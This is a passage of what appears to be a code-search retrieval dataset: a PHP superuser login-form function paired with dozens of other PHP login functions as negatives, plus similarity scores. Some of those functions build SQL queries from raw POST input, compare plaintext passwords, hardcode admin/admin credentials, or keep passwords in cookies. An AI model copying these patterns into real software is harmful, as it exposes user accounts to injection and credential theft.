"0.5565373", "0.55647224", "0.55623955" ]
0.70053244
4
/ Function: login login form
function login() { ob_start(); ?> <div style="width:600px;"> <h1>hypha superuser login</h1> Please log in with the superuser account. In case you forgot the password you'll have to look it up in the file 'hypha.php' on your server. </div> <table class="section"> <tr><th style="text-align:right; white-space:nowrap;">username:</th><td><input id="username" name="username" type="text" /></td></tr> <tr><th style="text-align:right; white-space:nowrap;">password:</th><td><input name="password" type="password" /></td></tr> <tr><td colspan="2" style="text-align:right;"><input type="submit" name="command" value="login" /></td></tr> </table> <?php return ob_get_clean(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function loginForm(){\n self::$loginEmail = $_POST['login-email'];\n self::$loginPassword = $_POST['login-password'];\n \n self::sanitize();\n $this->tryLogIn();\n }", "public function login(){\n \t\t//TODO redirect if user already logged in\n \t\t//TODO Seut up a form\n \t\t//TODO Try to log in\n \t\t//TODO Redirect\n \t\t//TODO Error message\n \t\t//TODO Set subview and load layout\n\n \t}", "public function login();", "public function login();", "public function p_login() {\n\n\t\t# Sanitize the user entered data to prevent any funny-business (re: SQL Injection Attacks)\n\t\t$_POST = DB::instance(DB_NAME)->sanitize($_POST);\n\n\t\t# Hash submitted password so we can compare it against one in the db\n\t\t$_POST['password'] = sha1(PASSWORD_SALT.$_POST['password']);\n\n\t\t# Search the db for this email and password\n\t\t# Retrieve the token if it's available\n\t\t$q = \"SELECT token \n\t\t\tFROM users \n\t\t\tWHERE email = '\".$_POST['email'].\"' \n\t\t\tAND password = '\".$_POST['password'].\"'\";\n\n\t\t$token = DB::instance(DB_NAME)->select_field($q);\n\n\t\t# If we didn't find a matching token in the database, it means login failed\n\t\tif(!$token) {\n\n\t\t\t# Send them back to the login page\n\t\t\tRouter::redirect(\"/users/login/error\");\n\n\t\t# But if we did, login succeeded! \n\t\t} else {\n\t\t\tsetcookie(\"token\", $token, strtotime('+1 year'), '/');\n\t\t\t# Send them to the main page - or whever you want them to go\n\t\t\tRouter::redirect(\"/\");\n\t\t}\n\t}", "private function formLogin(){\n\t\tView::show(\"user/login\");\n\t}", "public function loginAction()\r\n\t{\r\n\t\t$this->setSubTitle($this->loginSubTitle);\r\n\t\t\r\n\t\t$this->view->form = new $this->loginFormClassName();\r\n\t\t\r\n\t\t$this->checkAuth();\r\n\t}", "public function login() {\n $this->FormHandler->setRequired('employeeCode');\n $this->FormHandler->setRequired('employeePassword');\n\n\n if ($this->FormHandler->run() === true) {\n $employeeCode = $this->FormHandler->getPostValue('employeeCode');\n $employePassword = $this->FormHandler->getPostValue('employeePassword');\n if ($this->User->checkLoginCredentials($employeeCode, $employePassword) === true) {\n // Log them in and redirect\n $this->User->loginClient($_SESSION, $employeeCode);\n redirect('employee/dashboard');\n }\n }\n else if ($this->User->checkIfClientIsLoggedIn($_SESSION) === true) {\n redirect('employee/dashboard');\n }\n\n loadHeader();\n include APP_PATH . '/view/user/login.php';\n loadFooter();\n }", "function login() {\n\t\tif (isset($_REQUEST['username']) && !empty($_REQUEST['username'])) {\n\t\t\t$username = $_REQUEST['username'];\n\n\t\t\t$userDAO = implementationUserDAO_Dummy::getInstance();\n\t\t\t$users = $userDAO->getUsers();\n\n\t\t\tforeach ($users as $key => $user) {\n\t\t\t\tif ($user->getUsername() === $username) {\n\t\t\t\t\t$userFound = $user;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (isset($userFound) && $userFound != null) {\n\n\t\t\t\tif (isset($_REQUEST['password']) && !empty($_REQUEST['password'])) {\n\t\t\t\t\t$password = $_REQUEST['password'];\n\n\t\t\t\t\tif ($userFound->getPassword() === $password) {\n\n\t\t\t\t\t\tsession_start();\n\t\t\t\t\t\t$_SESSION['USERNAME']= $username;\n\n\t\t\t\t\t\t$url = getPreviousUrl();\n\t\t\t\t\t\t$newUrl = substr($url, 0, strpos($url, \"?\"));\n\n\t\t\t\t\t\tredirectToUrl($newUrl);\n\t\t\t\t\t}\n\n\t\t\t\t\telse {\n\t\t\t\t\t\t$this->resendLoginPage('danger', 'Mot de passe invalide.');\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\telse {\n\t\t\t\t\t// redirecting to login with bad password alert\n\t\t\t\t\t$this->resendLoginPage('danger', 'Mot de passe invalide.');\n\t\t\t\t}\n\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$this->resendLoginPage('danger', 'Login invalide.');\n\t\t\t}\n\t\t}\n\n\t\telse {\n\t\t\t// redirecting to login page with bad username alert\n\t\t\t$this->resendLoginPage('danger', 'Login invalide.');\n\t\t}\n\n\n\t}", "function Login()\n{\n\tglobal $txt, $context;\n\n\t// You're not a guest, why are you here?\n\tif (we::$is_member)\n\t\tredirectexit();\n\n\t// We need to load the Login template/language file.\n\tloadLanguage('Login');\n\tloadTemplate('Login');\n\twetem::load('login');\n\n\t// Get the template ready.... not really much else to do.\n\t$context['page_title'] = $txt['login'];\n\t$context['default_username'] =& $_REQUEST['u'];\n\t$context['default_password'] = '';\n\t$context['never_expire'] = false;\n\t$context['robot_no_index'] = true;\n\n\t// Add the login chain to the link tree.\n\tadd_linktree($txt['login'], '<URL>?action=login');\n\n\t// Set the login URL - will be used when the login process is done (but careful not to send us to an attachment).\n\tif (isset($_SESSION['old_url']) && strpos($_SESSION['old_url'], 'dlattach') === false && strhas($_SESSION['old_url'], array('board=', 'topic=', 'board,', 'topic,')))\n\t\t$_SESSION['login_url'] = $_SESSION['old_url'];\n\telse\n\t\tunset($_SESSION['login_url']);\n}", "function login();", "function FormLogin()\n\t{\n\t\t?>\n\t\t\t<!DOCTYPE html>\n\t\t\t<html>\n\t\t\t<head>\n\t\t\t\t<title>Login</title>\n\t\t\t</head>\n\t\t\t<body>\n\t\t\t\t<form method=\"post\" action=\"\">\n\t\t\t\t\t<input type=\"text\" name=\"username\" placeholder=\"Username\" required autofocus>\n\t\t\t\t\t<input type=\"password\" name=\"password\" placeholder=\"Password\" required>\n\t\t\t\t\t<input type=\"submit\" name=\"login\" value=\"Login\">\n\t\t\t\t</form>\n\t\t\t</body>\n\t\t\t</html>\n\t\t<?php\n\t}", "private function login(){\n \n }", "public function login()\n {\n // make sure request is post\n if( ! SCMUtility::requestIsPost())\n {\n View::make('templates/system/error.php',array());\n return;\n }\n\n $email = SCMUtility::stripTags( (isset($_POST['email'])) ? $_POST['email'] : '' );\n $password = SCMUtility::stripTags( (isset($_POST['password'])) ? $_POST['password'] : '' );\n\n if( ! Session::Auth($email,$password) )\n {\n SCMUtility::setFlashMessage('Invalid email/password.','danger');\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n return;\n }\n\n SCMUtility::frontRedirectTo('?page=scmCourseModule&state=Front&action=myAccount');\n }", "public function loginForm()\n {\n // If already logged in, redirect appropriately\n if ($this->custLoggedIn())\n {\n $this->redirect(\"mainPageCust.php\");\n } elseif ($this->ownerLoggedIn())\n {\n $this->redirect(\"mainPageOwner.php\");\n }\n \n // prepare errors to display if there are any\n $error = array();\n if (!empty($_GET['error']))\n {\n $error_string = urldecode($_GET['error']);\n $error = explode(',', $error_string);\n }\n \n // here the login form view class is loaded and method printHtml() is called \n require_once('views/FormError.class.php');\n require_once('views/LoginForm.class.php');\n $site = new SiteContainer($this->db);\n $form = new LoginForm();\n $error_page = new FormError();\n $site->printHeader();\n $site->printNav();\n $error_page->printHtml($error);\n $form->printHtml();\n $site->printFooter();\n \n }", "function login()\n\t{\n\t\t$username='admin';\n\t\t$password='admin';\n\n\t\t$input_username = $_POST['username'];\n\t\t$input_pwd = $_POST['password'];\n\t\t\n\t\tif(($input_username == $username)&&($input_pwd == $password))\n\t\t{\n \t\t//After the user validation, session is started\n\t\t\tsession_set_cookie_params(300);\n\t\t\tsession_start();\n\t\t\tsession_regenerate_id();\n\t\t\t\n\t\t \t//create the session cookie\n\t\t\tsetcookie('session_cookie', session_id(), time() + 300, '/');\n\t\t\t\n \t\t//generate CSRF Token\n\t\t\t$token = generate_token();\n\t\t\t\n \t\t//create CSRF token cookie\n \t\tsetcookie('CSRF_token', $token, time() + 300, '/');\n\t\t\t\n\t\t\t//User is redirected to the update address page\n\t\t\theader(\"Location:update.php\");\n \t\texit;\t\t\n\t\t}\n\t\telse\n\t\t{\n \t\t//if credentials are invalid\n\t\t\techo \"<script>alert('Credentials are invalid!')</script>\";\n\t\t}\n\t}", "private function processFormLogin(){\n\t\t$username = $_REQUEST[\"usuario\"];\n\t\t$password = $_REQUEST[\"password\"];\n\t\t$validar = $this->users->getProcessUser($username, $password);\n\t\tif($validar){\n\t\t\tif (Seguridad::getTipo() == \"0\")\n\t\t\t\tView::redireccion(\"selectTable\", \"userController\");\n\t\t\telse\n\t\t\t\tView::redireccion(\"selectTable\", \"userController\");\n\t\t} else {\n\t\t\t$data[\"informacion\"] = \"Nombre de usuario o contraseña incorrecta.\";\n\t\t\tView::show(\"user/login\", $data);\n\t\t}\n\t}", "function login() { }", "public function formLogin(){\n $user = $this->model->connectFromCookie();\n if ($user) {\n header('location:index.php?controller=dashboard');\n } else {\n $this->view->addFormLogin();\n }\n }", "public function p_login() {\n\t$_POST['password'] = sha1(PASSWORD_SALT.$_POST['password']);\n\t\n\t# Search the db for this email and password\n\t# Retrieve the token if it's available\n\t$q = \"SELECT token \n\t\tFROM users \n\t\tWHERE email = '\".$_POST['email'].\"' \n\t\tAND password = '\".$_POST['password'].\"'\";\n\t\n\t$token = DB::instance(DB_NAME)->select_field($q);\t\n\t\t\t\t\n\t# If we didn't get a token back, login failed\n\tif(!$token) {\n\t\t\t\n\t\t# Send them back to the login page\n\n\t\tRouter::redirect(\"/users/login/error\");\n\n\t\t\n\t# But if we did, login succeeded! \n\t} else {\n\t\t\t\n\t\t# Store this token in a cookie\n\t\t@setcookie(\"token\", $token, strtotime('+2 weeks'), '/');\n\t\t\n\t\tRouter::redirect(\"/users/profile\");\n\t\t\t\t\t\n\t}\n }", "public function p_login() {\n $_POST = DB::instance(DB_NAME)->sanitize($_POST);\n\n # Hash submitted password so we can compare it against one in the db\n $_POST['password'] = sha1(PASSWORD_SALT.$_POST['password']);\n\n # Search the db fpr this email and password\n # Retrieve the token if it's available\n $q = \"SELECT token\n FROM users\n WHERE email = '\".$_POST['email'].\"' \n AND password = '\".$_POST['password'].\"'\";\n\n $token = DB::instance(DB_NAME)->select_field($q);\n\n # If we didn't find a matching token in the db, it means login failed\n if(!$token) {\n\n Router::redirect(\"/users/login/error\");\n \n\n # But if we did, login succeeded!\n } else {\n\n \n /* \n Store this token in a cookie using setcookie()\n Important Note: *Nothing* else can echo to the page before setcookie is called\n Not even one single white space.\n param 1 = name of the cookie\n param 2 = the value of the cookie\n param 3 = when to expire\n param 4 = the path of the cookie (a single forward slash sets it for the entire domain)\n */\n setcookie(\"token\", $token, strtotime('+2 weeks'), '/');\n \n\n # Send them to the main page - or wherevr you want them to go\n Router::redirect(\"/\");\n # Send them back to the login page\n }\n }", "public function login() {\n\t\t// the variable located outside the method.\n\t\tglobal $routing;\n\n\t\t// Start creating the form.\n\t\t$form = new Form;\n\t\t// Set the form's method attribute,\n\t\t$form->setMethod(\"POST\");\n\t\t// and the action attribute. Here we use the url() method from\n\t\t// the routing class to generate a full URL to the login route.\n\t\t$form->setAction($routing->url('login'));\n\n\t\t// Create an Email Field with the name \"login-email\",\n\t\t$email = new EmailField(\"login-email\");\n\t\t// set it's class\n\t\t$email->setClass(\"form-control\");\n\t\t// mark it as required,\n\t\t$email->setRequired(true);\n\t\t// set it's label,\n\t\t$email->setLabel(\"E-mail:\");\n\t\t// set the HTML to appear before the field,\n\t\t$email->setBeforeHtml(\"<div class=\\\"form-group\\\">\");\n\t\t// set the HTML to appear after the field,\n\t\t$email->setAfterHtml(\"</div>\");\n\t\t// and add it to the form we created earlier.\n\t\t$form->addField($email);\n\n\t\t// Create a Password Field with the name \"login-password\",\n\t\t$password = new PasswordField(\"login-password\");\n\t\t// set it's class\n\t\t$password->setClass(\"form-control\");\n\t\t// mark it as required,\n\t\t$password->setRequired(true);\n\t\t// set it's label,\n\t\t$password->setLabel(\"Password:\");\n\t\t// set the HTML to appear before the field,\n\t\t$password->setBeforeHtml(\"<div class=\\\"form-group\\\">\");\n\t\t// set the HTML to appear after the field,\n\t\t$password->setAfterHtml(\"</div>\");\n\t\t// and add it to the form we created earlier.\n\t\t$form->addField($password);\n\n\t\t// Initialise a variable to store the form submission result in.\n\t\t$result = \"\";\n\n\t\t// Check if the form has been submitted.\n\t\tif( $form->isSubmitted() && $form->isValid() ) {\n\t\t\t// Form has been submited.\n\n\t\t\t// In order to access the database instance that exists in our init.php file,\n\t\t\t// we need to define the variable as global.\n\t\t\tglobal $database;\n\n\t\t\t// Connect to the database.\n\t\t\t$database->connect();\n\t\t\t\n\t\t\t// Query the database for and select the user matching the provided email address.\n\t\t\t// We need to set the index of 0 here as we are only interested in the first result.\n\t\t\t$user = $database->select(['*'], 'users', ['email' => $email->getValue()])[0];\n\n\t\t\t// Check if the provided email address matches a user in the database.\n\t\t\tif( isset($user['email']) && $user['email'] == $email->getValue() ) {\n\t\t\t\t// It does match, lets check if the provided password is also a match.\n\t\t\t\tif( $user['password'] == $password->getValue() ) {\n\t\t\t\t\t// Password is a match, so let's change the result to \"Verified\".\n\t\t\t\t\t$result = \"Verified\";\n\t\t\t\t} else {\n\t\t\t\t\t$result = \"Incorrect E-mail and/or Password\";\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$result = \"Incorrect E-mail and/or Password\";\n\t\t\t}\n\t\t} else if( $form->isSubmitted() && !$form->isValid() ) {\n\t\t\t$result = \"Missing Required Fields\";\n\t\t}\n\n\t\t// Render our view and pass to it the instance of our form, and the form submission result.\n\t\t$this->view('home/login', ['header-view' => 'home/header', 'footer-view' => 'home/footer', 'form' => $form, 'result' => $result]);\n\t}", "public function login()\n {\n if (isset($_POST['username']) && isset($_POST['password'])) {\n return $this->_check_login();\n }\n return $this->_login_form();\n }", "function m_loginForm()\n\t{\n\t\t#INTIALIZING TEMPLATES\n\t\t$this->ObTpl=new template();\n\t\t$this->ObTpl->set_file(\"TPL_USER_FILE\", $this->userTemplate);\n\t\t$this->ObTpl->set_block(\"TPL_USER_FILE\",\"TPL_MSG_BLK\",\"msg_blk\");\n\t\t$this->ObTpl->set_var(\"GRAPHICSMAINPATH\",GRAPHICS_PATH);\t\n\t\t$this->ObTpl->set_var(\"TPL_VAR_SITEURL\",SITE_URL);\n\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",\"\");\n\t\t$this->ObTpl->set_var(\"msg_blk\",\"\");\n\t\t$formUrl1=$this->libFunc->m_safeUrl(SITE_URL.\"user/index.php?action=user.checkLogin\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_FORMURL1\",$formUrl1);\n\t\n\t\t$formUrl2=$this->libFunc->m_safeUrl(SITE_URL.\"user/index.php?action=user.emailPass\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_FORMURL2\",$formUrl2);\t\n\n\t\t$signupUrl=$this->libFunc->m_safeUrl(SITE_URL.\"user/index.php?action=user.signupForm\");\n\t\t$this->ObTpl->set_var(\"TPL_VAR_SIGNUPURL\",$signupUrl);\t\n\t\t\n\t\t#defining Language Variables.\n\t\t$this->ObTpl->set_var(\"LANG_VAR_CUSTOMERLOGIN\",LANG_CUSTOMERLOGIN);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_NOTREGISTERED\",LANG_NOTREGISTERED);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_EMAILADDRESS\",LANG_EMAILADDRESS);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_PASSWORD\",LANG_PASSWORD);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_LOSTPASSWORD\",LANG_LOSTPASSWORD);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_CUSTOMERLOGIN\",LANG_CUSTOMERLOGIN);\n\t\t$this->ObTpl->set_var(\"LANG_VAR_SENDPASSWORD\",LANG_SENDPASSWORD);\n\t\tif($this->request[\"mode\"] == \"tc\"){\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",MSG_TRADE_REGISTER);\n\t\t\t$this->ObTpl->parse(\"msg_blk\",\"TPL_MSG_BLK\");\n\t\t}\n\t\n\t\tif($this->err==1)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",$this->errMsg);\n\t\t\t$this->ObTpl->parse(\"msg_blk\",\"TPL_MSG_BLK\");\n\t\t}\n\n\t\tif(isset($this->request['msg']) && $this->request['msg']==1)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",MSG_PASS_SENT);\n\t\t\t$this->ObTpl->parse(\"msg_blk\",\"TPL_MSG_BLK\");\n\t\t}\n\t\telseif(isset($this->request['msg']) && $this->request['msg']==2)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",MSG_PASS_NOSENT);\n\t\t\t$this->ObTpl->parse(\"msg_blk\",\"TPL_MSG_BLK\");\n\t\t}\n\t\telseif(isset($this->request['msg']) && $this->request['msg']==3)\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_MSG\",\"Password Changed.\");\n\t\t\t$this->ObTpl->parse(\"msg_blk\",\"TPL_MSG_BLK\");\n\t\t}\n\t\tif(!isset($_COOKIE['email']))\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_EMAIL\",'email address');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_EMAIL\",$_COOKIE['email']);\n\t\t}\n\n\t\tif(!isset($_COOKIE['password']))\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_PASS\",'password');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->ObTpl->set_var(\"TPL_VAR_PASS\",$_COOKIE['password']);\n\t\t}\n\t\treturn($this->ObTpl->parse(\"return\",\"TPL_USER_FILE\"));\n\t}", "public function getLoginForm();", "public function validate_login() {\n\t\t$userid=$_POST['user_id'];\n\t\t$password=$_POST['password'];\n\t\t$compid=$_POST['company_id'];\n\t\t\n\n\t\t$sql=\"SELECT u.id, u.user_name FROM users u, hmz_cust_info ci where ci.id=u.cust_id\n\t\t\tand u.user_id='$userid' and u.password='$password' and ci.cust_id='$compid';\";\n\t\t$result=$this->runQuery(\"getAll\",$sql);\n\t\tif(count($result)>0) {\n\t\t\t$_SESSION['user_id']=$result[0];\n\t\t\t$_SESSION['user_name']=$result[1];\n\t\t\theader('location: ?a=P&b=dashboard');\n\t\t}\n\t\telse\n\t\t\theader('location: ?a=login&b=f');\n\n\t}", "public function getFormLoginPage();", "public function login_action() \n\t{\n $rules = array(\n 'mail' => 'valid_email|required',\n 'pass' => 'required'\n );\n \n \n //validate the info\n $validated = FormValidation::is_valid($_POST, $rules);\n \n // Check if validation was successful\n if($validated !== TRUE): \n \n //exit with an error\n exit(Alert::error(false, true, $validated));\n\n endif;\n\n // they've passed the filter login try and log 'em in\n\t\tUserModel::login(); \n }", "function login() {\n\n\techo '<h1 id=\"loginwarning\">Welcome Guest</h1>\n\t\t\t<form action=\"'. $_SERVER['PHP_SELF'] .'\" method=\"post\">\n\t\t\t\t<fieldset>\n\t\t\t\t\tUsername: <input type=\"text\" name=\"login\" />\n\t\t\t\t\t<input type=\"submit\" value=\"Login\" class=\"button\" onclick=\"return validateLoginDetails(this.form.login.value)\" />\n\t\t\t\t</fieldset>\n\t\t\t</form>';\n\n}", "public function login(){\n\t\t\tValidator::validateOrRedirect($_POST,\n\t\t\t\t\t[\n\t\t\t\t\t\t\t\"required\" => [\"txt-input\", \"password\",\"action\"],\n\t\t\t\t\t\t\t\"email\" => \"txt-input\",\n\t\t\t\t\t],\n\t\t\t\t\t\"/login\");\n\t\t\t$this->resetMessage();\n\t $username=$_POST[\"txt-input\"];\n\t $password=$_POST[\"password\"];\n\t $action=$_POST[\"action\"];\n\t\t\t$userList =[];\n\t\t\t$column_value=array('email'=>$username,'password'=>$password);\n\t\t\t$uss=new User();\n\t\t\t$login=$uss->getBy($column_value);\n\t\t\tif (is_array($login)) {\n\t\t\t\tif (count($login)>0) {\n\t\t\t\t\tforeach ($login as $user)\n\t\t\t {\n\t\t\t\t\t\t$userList[]= array(\n\t\t\t 'user' =>$user['user_name'],\n\t\t\t 'email' =>$user['email'],\n\t\t\t 'password' =>$user['password']);\n\t\t\t\t\t}\n\n\t\t\t\t\t$user=$userList[0][\"email\"];\n\t\t $pass=$userList[0][\"password\"];\n\t\t Redirect::to(\"/products\")->with([\n\t\t 'name'=>$userList[0][\"email\"],\n\t\t 'check'=>\"true\",\n\t\t ])->do();\n\t\t\t\t}\n\t\t\t\telse{\n\n\t\t\t\t\tRedirect::to(\"/login\")->with([\n\t\t \"message\" => \"Ha ocurrido un error: usuario o contraseña incorrectos.</br> Revise por favor\",\n\t\t \"type\" => \"danger\",\n\t\t ])\n\t\t ->do();\n\t\t\t\t}\n\n\t\t\t}\n\t\t\telse{\n\n\t\t\t\tRedirect::to(\"/login\")->with([\n\t \"message\" => $login,\n\t \"type\" => \"danger\",\n\t ])\n\t ->do();\n\t\t\t}\n\t }", "function p_login() {\n $_POST = DB::instance(DB_NAME)->sanitize($_POST);\n\n # Hash submitted password so we can compare it against one in the db\n $_POST['password'] = sha1(PASSWORD_SALT.$_POST['password']);\n\n # Search the db for this email and password\n # Retrieve the token if it's available\n $q = \"SELECT token \n FROM users \n WHERE email = '\".$_POST['email'].\"' \n AND password = '\".$_POST['password'].\"'\";\n\n $token = DB::instance(DB_NAME)->select_field($q);\n\n # If we didn't find a matching token in the database, it means login failed\n if(!$token) {\n\n # Send them back to the login page\n Router::redirect(\"/users/login/error\");\n\n # But if we did, login succeeded! \n } else {\n /* \n Store this token in a cookie using setcookie()\n Important Note: *Nothing* else can echo to the page before setcookie is called\n Not even one single white space.\n param 1 = name of the cookie\n param 2 = the value of the cookie\n param 3 = when to expire\n param 4 = the path of the cookie (a single forward slash sets it for the entire domain)\n */\n setcookie(\"token\", $token, strtotime('+1 year'), '/');\n\n # update the last_login time for the user\n/* $_POST['last_login'] = Time::now();\n\n $user_id = DB::instance(DB_NAME)->update('users', $_POST); */\n\n # Send them to the main page - or whever you want them to go\n Router::redirect(\"/\");\n }\n }", "abstract protected function doLogin();", "function handle_login_form(){\n\t\t# whatever the form is going to do, you will always check that the login button was pressed first before continuing\n\t\t$login_btn_clicked = isset($_POST[\"login-btn\"]);\n\t\tif($login_btn_clicked != true){\n\t\t\treturn false;\n\t\t}\n\n\t\t# this code will only execute if the login button was clicked\n\t\t# since the login button was clicked we know that the username and password post variables are set\n\t\t# store the value of those post variables for convenience\n\t\t$username = $_POST['username'];\n\t\t$password = $_POST['password'];\n\n\t\t# attempt to login\n\t\t# if login is successful > store username, primary key in session \n\t\t# if login failed, indicate that to user\n\t\tif($db_id = login($username, $password)){\n\t\t\thandle_login_successful($db_id, $username);\n\t\t} else {\n\t\t\thandle_login_failure();\n\t\t}\n\t\treturn true;\n\t}", "public function actionLogin() {\n $categories = array();\n $categories = Category::getCategoriesList();\n\n $email = '';\n $password = '';\n\n\n if (isset($_POST['submit'])) {\n $email = $_POST['email'];\n $password = $_POST['password'];\n\n $errors = false;\n\n if (!User::checkEmail($email)) {\n $errors[] = 'Invalid email.';\n }\n\n if (!User::checkPassword($password)) {\n $errors[] = 'Password should be at least 6 characters.';\n }\n\n $userId = User::checkUserData($email, $password);\n\n if ($userId == false) {\n $errors[] = 'User with such email and password does not exist. Please check your login details.';\n } else {\n User::auth($userId);\n\n header(\"Location: /profile/\");\n }\n }\n\n require_once (ROOT.'/views/user/login.php');\n\n return true;\n }", "function renderLoginForm() {\n\t\t$tpl = DevblocksPlatform::getTemplateService();\n\t\t$tpl->cache_lifetime = \"0\";\n\t\t\n\t\t// add translations for calls from classes that aren't Page Extensions (mobile plugin, specifically)\n\t\t$translate = DevblocksPlatform::getTranslationService();\n\t\t$tpl->assign('translate', $translate);\n\t\t\n\t\t@$redir_path = explode('/',urldecode(DevblocksPlatform::importGPC($_REQUEST[\"url\"],\"string\",\"\")));\n\t\t$tpl->assign('original_path', (count($redir_path)==0) ? 'login' : implode(',',$redir_path));\n\t\t\n\t\t$tpl->display('file:' . dirname(dirname(__FILE__)) . '/templates/login/login_form_default.tpl');\n\t}", "function _genLogin()\n {\n $this->mismatch = false;\n if (isset($_POST['login']) && $this->_verify() == \"\") {\n $this->name_post = $_POST['gebruikersnaam'];\n $this->pass_post = $_POST['wachtwoord'];\n\n $this->_getFromGebruikersDb($this->name_post);\n if ($this->_isMatch()) {\n $_SESSION['ingelogd'] = true;\n //toegevoegd door rens om een gebruikersnaam en rol te krijgen\n $_SESSION['gebruikersnaam'] = $this->name_post;\n $_SESSION['Rol'] = $this->role_db;\n header('location: Login_Redir.php');\n }\n }\n }", "public function validateLogin() {\n if (isset($_POST['submit'])) {\n $errors = array();\n\n $required_fields = array('username', 'password');\n $errors = array_merge($errors, checkRequiredFields($required_fields));\n\n $username = trim($_POST['username']);\n $password = trim($_POST['password']);\n\n if (empty($errors)) {\n $conn = CTSQLite::connect();\n\n\n //check database if user and password exist\n $query = \"SELECT id, username ,role \";\n $query .= \"FROM ic_user \";\n $query .= \"WHERE username = '{$username}' \";\n $query .= \"password = '{$password}' \";\n $query .= \"LIMIT 1\";\n\n $result = $conn->query($query);\n confirm_query($result);\n\n if (sqlite_num_rows($result) == 1) {\n $user = $result->fetchArray();\n $role = $user['role'];\n CT::user()->setRole($role);\n }\n } else {\n if (count($errors) == 1) {\n // 1 error ocurred\n $message = \"There was 1 error in the form\";\n } else {\n //more than 1 error occured\n $message = \"There were\" . count($errors) . \"errors in the form\";\n }\n }\n } else {\n //form has not been submitted\n }\n }", "public function login(){\n if ($_SERVER[\"REQUEST_METHOD\"] == \"POST\" && isset($_POST[\"Anmelden\"]) && $_POST[\"Anmelden\"] == \"Anmelden\") {\n if ($this->error == false) {\n $datenbank = new DatenbankAufrufe;\n #Prüfung ob der Benutzer bereits existiert\n $result = $datenbank->existBenutzer();\n if ($result == true) {\n $dbPasswort = $datenbank->passwortAuslesen();\n $pwKrypto = new PasswortSpeichern;\n $result2 = $pwKrypto->passwortAbgleich($_POST['passwort'], $dbPasswort);\n if ($result2 == true) {\n #SESSION\n $session = new sessionClass;\n $name = $datenbank->benutzernameAuslesen();\n $session->SessionStart($name, $datenbank);\n\n header(\"Location: index.php?site=main\");\n }\n else {\n echo \"Das Passwort ist nicht korrekt\";\n }\n } else {\n echo \"Bitte zuerst Registrieren\";\n }\n }\n }\n }", "public function Login()\n\t{\n\t\t$form = new CForm(array('name'=>'loginForm', 'action'=>$this->request->CreateUrl('user/login')), array(\n\t\t\t'acronym' \t\t=> new CFormElementText('acronym', array(\n\t\t\t\t'label'\t\t=> 'Acronym or email:',\n\t\t\t\t'type'\t\t=> 'text',\n\t\t\t\t)\n\t\t\t),\n\t\t\t'password'\t\t=> new CFormElementPassword('password', array(\n\t\t\t\t'label'\t\t=> 'Password:',\n\t\t\t\t'type'\t\t=> 'password',\n\t\t\t\t)\n\t\t\t),\n\t\t\tnew CFormElementSubmit('doLogin', array(\n\t\t\t\t'value'\t\t=> 'Login',\n\t\t\t\t'type'\t\t=> 'submit',\n\t\t\t\t'callback'\t=> array($this, 'DoLogin')\n\t\t\t\t)\n\t\t\t),\n\t\t));\n\t\t\n\t\t$form->SetValidation('acronym',array('not_empty'));\n\t\t$form->SetValidation('password',array('not_empty'));\n\t\t\n\t\t$form->Check();\n\n\t\t$this->views->SetTitle('Login');\n\t\t$this->views->AddView('user/login.tpl.php', array(\n\t\t\t'login_form'\t\t=> $form->GetHTML(),\n\t\t\t'allow_create_user'\t=> $this->config['create_new_users'],\n\t\t\t),\n\t\t'primary'\n\t\t);\n\t}", "public function login()\n\t{\n\t\tredirect($this->config->item('bizz_url_ui'));\n\t\t// show_404();\n\t\t// ////import helpers and models\n\n\t\t// ////get data from database\n\n\t\t// //set page info\n\t\t// $pageInfo['pageName'] = strtolower(__FUNCTION__);\n\n\t\t// ////sort\n\t\t\n\t\t// //render\n\t\t// $this->_render($pageInfo);\n\t}", "function renderLoginForm() {\n\t\t$tpl = DevblocksPlatform::getTemplateService();\n\t\t$tpl->cache_lifetime = \"0\";\n\t\t\n\t\t// add translations for calls from classes that aren't Page Extensions (mobile plugin, specifically)\n\t\t$translate = DevblocksPlatform::getTranslationService();\n\t\t$tpl->assign('translate', $translate);\n\t\t\n\t\t@$redir_path = explode('/',urldecode(DevblocksPlatform::importGPC($_REQUEST[\"url\"],\"string\",\"\")));\n\t\t$tpl->assign('original_path', (count($redir_path)==0) ? 'login' : implode(',',$redir_path));\n\n\t\t// TODO: pull this from a config area\n\t\t$server = 'localhost';\n\t\t$port = '10389';\n\t\t$default_dn = 'cn=William Bush,ou=people,o=sevenSeas';\n\t\t$tpl->assign('server', $server);\n\t\t$tpl->assign('port', $port);\n\t\t$tpl->assign('default_dn', $default_dn);\n\t\t\n\t\t// display login form\n\t\t$tpl->display('file:' . dirname(dirname(__FILE__)) . '/templates/login/login_form_ldap.tpl');\n\t}", "function login(){\n\t\tif(isset($_POST['login'])){//if login button pressed\n\t\t\t$userTable= new Table('users');//new table created\n\t\t\t$user= $userTable->findInDatabase('user_username', $_POST['username']);//querying users table\n\t\t\tif($user->rowCount()>0){//if data available\n\t\t\t\t$data=$user->fetch();//fetch data\n\t\t\t\tif (password_verify($_POST['password'], $data['user_password'])){//if password matches\n\t\t\t\t\t$_SESSION['session_id']=$data['user_id'];//session variable is set\n\t\t\t\t\t$_SESSION['type']=$data['user_type'];//session variable is 